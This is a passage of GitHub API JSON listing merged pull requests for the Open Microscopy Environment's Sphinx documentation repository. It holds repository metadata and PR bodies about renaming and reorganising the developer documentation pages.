.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"9b5531c3840a85b3244105a4fc975b9334a8a155","ref":"jenkins_stable_renaming"},"assignee":null,"updated_at":"2013-01-24T11:32:24Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/225/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/225/commits","closed_at":"2013-01-24T11:32:24Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/225","merged_at":"2013-01-24T11:32:24Z","merge_commit_sha":"be00fe43dd7f26651f9ebe49f639a4174c5217a3","created_at":"2013-01-23T13:03:39Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/225/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/225.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/225","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/225.diff","id":3799374,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"1a5500adbd66f9c5c30b070bd5503b174478d02d","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/223/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/223"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/223"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/223"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/223/comments"}},"title":"Editing developer intro pages (rebased onto develop)","state":"closed","number":223,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/223","head":{"user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"label":"hflynn:rebased/develop/10212-fix","repo":{"forks":0,"svn_url":"https://github.com/hflynn/ome-documentation","merges_url":"https://api.github.com/repos/hflynn/ome-documentation/merges","languages_url":"https://api.github.com/repos/hflynn/ome-documentation/languages","assignees_url":"https://api.github.com/repos/hflynn/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/hflynn/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/hflynn/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/hflynn/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"open_issues":0,"updated_at":"2013-02-01T17:31:59Z","milestones_url":"https://api.github.com/repos/hflynn/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/hflynn/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/hflynn/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/hflynn/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/hflynn/ome-documentation/events","notifications_url":"https://api.github.com/repos/hflynn/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/hflynn/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/hflynn/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/hflynn/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/hflynn/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/hflynn/ome-documentation/collaborators{/collaborator}","full_name":"hflynn/ome-documentation","ssh_url":"git@github.com:hflynn/ome-documentation.git","pulls_url":"https://api.github.com/repos/hflynn/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/hflynn/ome-documentation/subscription","teams_url":"https://api.github.com/repos/hflynn/ome-documentation/teams","watchers":0,"created_at":"2012-09-18T09:22:07Z","git_url":"git://github.com/hflynn/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/hflynn/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/hflynn/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/hflynn/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/hflynn/ome-documentation/keys{/key_id}","size":340,"compare_url":"https://api.github.com/repos/hflynn/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/hflynn/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/hflynn/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/hflynn/ome-documentation/hooks","fork":true,"html_url":"https://github.com/hflynn/ome-documentation","master_branch":"develop","clone_url":"https://github.com/hflynn/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/hflynn/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/events{/number}","private":false,"id":5853981,"default_branch":"develop","pushed_at":"2013-02-01T17:31:59Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/hflynn/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/hflynn/ome-documentation/forks"},"sha":"87ad0799b37d69a7f04c80fd10ba323f49dc3b05","ref":"rebased/develop/10212-fix"},"assignee":null,"updated_at":"2013-01-24T08:22:54Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/223/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/223/commits","closed_at":"2013-01-24T08:22:54Z","user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/223","merged_at":"2013-01-24T08:22:54Z","merge_commit_sha":"ae956e43674d9ffdaff44c112a7de63c4b70d7b5","created_at":"2013-01-23T10:21:17Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/223/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/223.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/223","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-219 but rebased onto develop.\n\n----\n\nSee tickets 10212 & 10199 \n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/223.diff","id":3797215,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"1ee47d5123ed947f97d6dce8385883e45549e4f0","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/222/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/222"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/222"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/222"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/222/comments"}},"title":"\"Contributing to OMERO\" developer doc rework","state":"closed","number":222,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/222","head":{"user":{"type":"User","url":"https://api.github.com/users/joshmoore","received_events_url":"https://api.github.com/users/joshmoore/received_events","login":"joshmoore","events_url":"https://api.github.com/users/joshmoore/events{/privacy}","organizations_url":"https://api.github.com/users/joshmoore/orgs","avatar_url":"https://secure.gravatar.com/avatar/b9d1630a90131545c699075f73da092b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/joshmoore/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/joshmoore/gists{/gist_id}","gravatar_id":"b9d1630a90131545c699075f73da092b","followers_url":"https://api.github.com/users/joshmoore/followers","id":88113,"repos_url":"https://api.github.com/users/joshmoore/repos","subscriptions_url":"https://api.github.com/users/joshmoore/subscriptions","following_url":"https://api.github.com/users/joshmoore/following"},"label":"joshmoore:contrib-section","repo":{"forks":0,"svn_url":"https://github.com/joshmoore/ome-documentation","merges_url":"https://api.github.com/repos/joshmoore/ome-documentation/merges","languages_url":"https://api.github.com/repos/joshmoore/ome-documentation/languages","assignees_url":"https://api.github.com/repos/joshmoore/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/joshmoore/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/joshmoore/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/joshmoore/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/joshmoore","received_events_url":"https://api.github.com/users/joshmoore/received_events","login":"joshmoore","events_url":"https://api.github.com/users/joshmoore/events{/privacy}","organizations_url":"https://api.github.com/users/joshmoore/orgs","avatar_url":"https://secure.gravatar.com/avatar/b9d1630a90131545c699075f73da092b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/joshmoore/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/joshmoore/gists{/gist_id}","gravatar_id":"b9d1630a90131545c699075f73da092b","followers_url":"https://api.github.com/users/joshmoore/followers","id":88113,"repos_url":"https://api.github.com/users/joshmoore/repos","subscriptions_url":"https://api.github.com/users/joshmoore/subscriptions","following_url":"https://api.github.com/users/joshmoore/following"},"open_issues":0,"updated_at":"2013-02-01T11:33:14Z","milestones_url":"https://api.github.com/repos/joshmoore/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/joshmoore/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/joshmoore/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/joshmoore/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/joshmoore/ome-documentation/events","notifications_url":"https://api.github.com/repos/joshmoore/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/joshmoore/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/joshmoore/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/joshmoore/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/joshmoore/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/joshmoore/ome-documentation/collaborators{/collaborator}","full_name":"joshmoore/ome-documentation","ssh_url":"git@github.com:joshmoore/ome-documentation.git","pulls_url":"https://api.github.com/repos/joshmoore/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/joshmoore/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/joshmoore/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/joshmoore/ome-documentation/subscription","teams_url":"https://api.github.com/repos/joshmoore/ome-documentation/teams","watchers":1,"created_at":"2012-03-01T09:53:37Z","git_url":"git://github.com/joshmoore/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/joshmoore/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/joshmoore/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/joshmoore/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/joshmoore/ome-documentation/keys{/key_id}","size":780,"compare_url":"https://api.github.com/repos/joshmoore/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/joshmoore/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/joshmoore/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/joshmoore/ome-documentation/hooks","fork":true,"html_url":"https://github.com/joshmoore/ome-documentation","clone_url":"https://github.com/joshmoore/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/joshmoore/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/joshmoore/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/joshmoore/ome-documentation/issues/events{/number}","private":false,"id":3590779,"pushed_at":"2013-01-31T11:56:02Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/joshmoore/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/joshmoore/ome-documentation/forks"},"sha":"ae1269389be0d50832b996ed60dd2a471596bff7","ref":"contrib-section"},"assignee":null,"updated_at":"2013-01-23T11:22:23Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/222/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/222/commits","closed_at":"2013-01-23T11:09:39Z","user":{"type":"User","url":"https://api.github.com/users/joshmoore","received_events_url":"https://api.github.com/users/joshmoore/received_events","login":"joshmoore","events_url":"https://api.github.com/users/joshmoore/events{/privacy}","organizations_url":"https://api.github.com/users/joshmoore/orgs","avatar_url":"https://secure.gravatar.com/avatar/b9d1630a90131545c699075f73da092b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/joshmoore/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/joshmoore/gists{/gist_id}","gravatar_id":"b9d1630a90131545c699075f73da092b","followers_url":"https://api.github.com/users/joshmoore/followers","id":88113,"repos_url":"https://api.github.com/users/joshmoore/repos","subscriptions_url":"https://api.github.com/users/joshmoore/subscriptions","following_url":"https://api.github.com/users/joshmoore/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/222","merged_at":"2013-01-23T11:09:38Z","merge_commit_sha":"e33c326a3616d0cd16f6da980c8320e84eb1380a","created_at":"2013-01-21T10:29:38Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/222/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/222.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/222","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\r\n * Rename files to follow abc-xyz.txt standard\r\n * Reduce the number of individual files\r\n * Improve the order of files for external developers\r\n * Improve the order of sections in some files\r\n * Drop UsingGitFlow\r\n\r\nLooking at developers/index.txt and developers/contributing.txt\r\nit's still not completely clear 1) that a developer should REALLY\r\nread the \"contributing\" section, nor 2) once they've opened up\r\ncontributing.txt which sections are highly important.\r\n\r\nNB: very little has been done in the way of optimizing the 